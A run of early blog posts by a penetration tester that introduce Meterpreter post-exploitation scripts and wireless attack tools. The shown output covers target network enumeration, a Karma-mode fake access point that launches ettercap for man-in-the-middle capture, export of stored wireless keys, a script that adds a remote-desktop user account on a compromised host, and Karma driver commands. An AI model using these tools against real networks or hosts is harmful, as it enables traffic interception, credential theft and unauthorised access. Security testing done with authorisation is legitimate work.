Meterpreter Script for Basic Network Enumeration in Target's Netwrok

January 03, 2009 by Carlos Perez

Here is a script for basic network enumeration using windows natives tools in the target machine, the script is multi threaded for performance, it will perform the following:

* Ping Sweep
* DNS Reverse lookup on IP range
* Fordward Lookup bruteforce using a List of hostnames
* Get NS and MX records for a given domain.

you can download the script from /netenum.tar.gz
Let me know if you like it and any recommendations are welcomed.

here is some sample output:

Code:

meterpreter > run netenum
Network Enumerator Meterpreter Script by Darkoperator
Carlos Perez carlos_perez@darkoperator.com
Usage:
OPTIONS:
   -d   Domain Name for DNS Fordward Lookup
   -fl        To Perform DNS Fordward Lookup on host list and domain
   -h        Help menu.
   -hl   File with Host List for DNS Fordward Lookup
   -ps        To Perform Ping Sweeo on IP Range
   -r   The target address range or CIDR identifier
   -rl        To Perform DNS Reverse Lookup on IP Range
   -st        To Perform DNS lookup of MX, NS and SOA records for a domain
meterpreter > run netenum -fl -hl /home/carlos/hostlist.txt -d google.com
[*] Network Enumerator Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Performing DNS Fordward Lookup for hosts in /home/carlos/hostlist.txt for domain google.com
[*]     Name:cg-in-f100.google.com    209.85.171.100
[*]     Name:cg-in-f102.google.com    209.85.171.102
[*]     Name:googlemail.l.google.com    209.85.133.83,209.85.133.18,209.85.133.19
[*]     Name:cg-in-f101.google.com    209.85.171.101
meterpreter > run netenum -rl -r 209.85.171.100-209.85.171.110
[*] Network Enumerator Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Performing DNS Reverse Lookup for IP range 209.85.171.100-209.85.171.110
[*]      209.85.171.100 is cg-in-f100.google.com
[*]      209.85.171.101 is cg-in-f101.google.com
[*]      209.85.171.102 is cg-in-f102.google.com
[*]      209.85.171.103 is cg-in-f103.google.com
[*]      209.85.171.104 is cg-in-f104.google.com
[*]      209.85.171.108 is cg-in-f108.google.com
meterpreter > run netenum -st -d google.com
[*] Getting MX and NS Records for Domain google.com
[*]     Non-authoritative answer:
[*]   
[*]     google.com    MX preference = 10, mail exchanger = smtp4.google.com
[*]     google.com    MX preference = 10, mail exchanger = smtp1.google.com
[*]     google.com    MX preference = 10, mail exchanger = smtp2.google.com
[*]     google.com    MX preference = 10, mail exchanger = smtp3.google.com
[*]   
[*]     google.com    nameserver = ns3.google.com
[*]     google.com    nameserver = ns4.google.com
[*]     google.com    nameserver = ns1.google.com
[*]     google.com    nameserver = ns2.google.com
[*]     smtp1.google.com    internet address = 209.85.237.25
[*]     smtp2.google.com    internet address = 64.233.165.25
[*]     smtp3.google.com    internet address = 64.233.183.25
[*]     smtp4.google.com    internet address = 72.14.221.25
[*]     ns1.google.com    internet address = 216.239.32.10
[*]     ns2.google.com    internet address = 216.239.34.10
[*]     ns3.google.com    internet address = 216.239.36.10
[*]     ns4.google.com    internet address = 216.239.38.10
meterpreter > run netenum -ps -r 209.85.171.100-209.85.171.110
[*] Network Enumerator Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Performing ping sweep for IP range 209.85.171.100-209.85.171.110
[*]     209.85.171.100 host found
[*]     209.85.171.101 host found
[*]     209.85.171.102 host found
[*]     209.85.171.103 host found
[*]     209.85.171.104 host found

Script for generating Fake AP with Kama Functionality for MITM Attacks

January 02, 2009 by Carlos Perez

the Script will launch depending on the options a valid routed AP in karma mode, it will capture all packets and will launch ettercap. You can choose if you use Airbase-ng or the Madwifi drivers with Digininja's Karma Patch and HD's additions, this is the default madwifi drivers in Backtrack3. Aircrack-ng must be upgraded to the latest development version for the script to work with the Airbase-ng functionality. I hope you guys like it.

/mitmap.tar.gz


bt ~ # ./mitmap.sh
Scritp for launching Fake AP to perform Man in The Middle Attack
By Carlos_Perez[at]darkoperator.com
Ver 0.1.1
Usage:
./mitmap.sh -m mode -i wireless interface -o internet interface 
Modes:
ap              :Access Point using Airbase-ng
apf             :Access Point using Airbase-ng and MAC Filtering
apa             :Access Point using Digininja patched Madwifi kernel modules
apaf            :Access Point using Digininja patched Madwifi Kernel modules and MAC filtering
Options:
-s ssid       :SSID to use for the Fake AP
-f text file  :text file containing MAC addresses to use as filter one per line
-d dhcpd conf :Dhcpd configuration file
-h              : This help message
bt ~ # ./mitmap.sh -m ap -s Danger -d ./dhcpd.conf -i ath0 -o eth0
Changing MAC Address
Current MAC: 00:40:96:af:47:65 [wireless] (Cisco        AIR-PC4800, 350, AIR-PCM340, AIR-PCM352)
Faked MAC:   00:01:1e:b7:a7:1f (Precidia Technologies, Inc.)
starting fake ap
This will take 15 seconds ..............
Changing MTU Size for At0 to 1400
DHCPD started succesfully
Starting Packet capture to /root/apmitm-Jan-02-09-010919.cap
ettercap NG-0.7.3 copyright 2001-2004 ALoR & NaGA
Listening on at0... (Ethernet)
  at0 ->       00:01:1E:B7:A7:1F          10.0.0.1     255.255.255.0
Privileges dropped to UID 0 GID 0...
 28 plugins
 39 protocol dissectors
 53 ports monitored
7587 mac vendor fingerprint
1698 tcp OS fingerprint
2183 known services
Starting Unified sniffing...
Text only Interface activated...
Hit 'h' for inline help

Winenum Update

January 02, 2009 by Carlos Perez

Josh Wright from Inguardians published a great paper called Vista Wireless Power Tools on the new features of Windows Vista wireless commands plus published several tools. I added the enumerations commands to Winenum plus it will now export the registry keys where the wireless configured networks of Windows XP and Windows Vista machines is stored, this files can be imported into the pentesters windows bos to gain access to the clients network or to get the wireless keys using other tools after importing.

Meterpreter Script for RDP Configuration on Target

January 02, 2009 by Carlos Perez

For those time when you just need GUI
I tested the script in Windows XP, Windows 2003, Windows Vista and Windows 2008 let me know if you like it.
/getgui.tar.gz
Example:

meterpreter > run getgui -u SUPPORT_3028 -p P@ssword
[*] Windows Remote Desktop Configuration Meterpreter Script by Darkoperator
[*] Carlos Perez carlos_perez@darkoperator.com
[*] Enabling Remote Desktop
[*]  RDP is already enabled
[*] Setting Terminal Services service startup mode
[*]  Terminasl Services service is already set to auto
[*]  Opening port in local firewall if necessary
[*] Setting user account for logon
[*]  Adding User: SUPPORT_3028 with Password: P@ssword
[*]  Adding User: SUPPORT_3028 to local group Remote Desktop Users
[*] You can now login with the created user
meterpreter >

DiGiNinga Karma Patch for Atheros Cards ROCKS!!!!

December 28, 2008 by Carlos Perez

I have been playing with the karma patch that DiGiNinja coded for the Madwifi-ng kernel modules for Atheros wireless cards. This allows us to set our Atheros wireless card to respond to any request broadcast from wireless client as if we are the AP they are looking for, in addition we will broadcast the SSID as if we are the AP to see if any other client in the area is looking for the network. This patched kernel modules are in BT3 and in iPwn OS that HD Moore uses for his mobile laptops, and I have to say this patch is a must for any serius pentester. I decided to make an lzm for Backtrack 3 after being foolish enough to over write the modules with a clean install of madwifi.
The features that it adds are as follows:

Karma functionality
SSID Blacklist and Whitelist
MacAddress Blacklist and Whitelist

As a pentester this gives you the flexibility to target your attacks and be able to follow strict Rules of Engagement allowing you to only attack machines wich you are allowed to attack, the SSID's and MAC's can be added dynamically so you do not have to stop your attack. The commands that I found are as follows:
Enabling and Disabling Karma:

iwpriv atho karma 1 (Enable Karma)
iwpriv ath0 karma 0 (Disable Karma)
iwpriv ath0 get_karma (Get status of Karma)

MAC Address Whitelisting and Blacklisting:

iwpriv ath0 maccmd 1 (Sets the card in whitelist mode)
iwpriv ath0 maccmd 2 (Sets the card in Blacklist mode)
iwpriv ath0 maccmd 0 (Disable all MAC filtering modes)
iwpriv ath0 addmac (Adds mac address to the list)
iwpriv ath0 kickmac (Removes MAC Address form the list)
iwpriv ath0 maccmd 3 (Clears the entire MAC Address list)

SSID Whitelisting and Blacklisting:

iwpriv ath0 karma_bw 0 (Sets the card in Blacklist mode)
iwpriv ath0 karma_bw 1 (Sets the card in Whitelist mode)
iwpriv ath0 get_karma_bw (Get status of Blacklisting and Whitelisting Mode)
iwpriv ath0 addkarmassid (Adds SSID to the list)
iwpriv ath0 clrkarmalist 0 (Clears SSID List)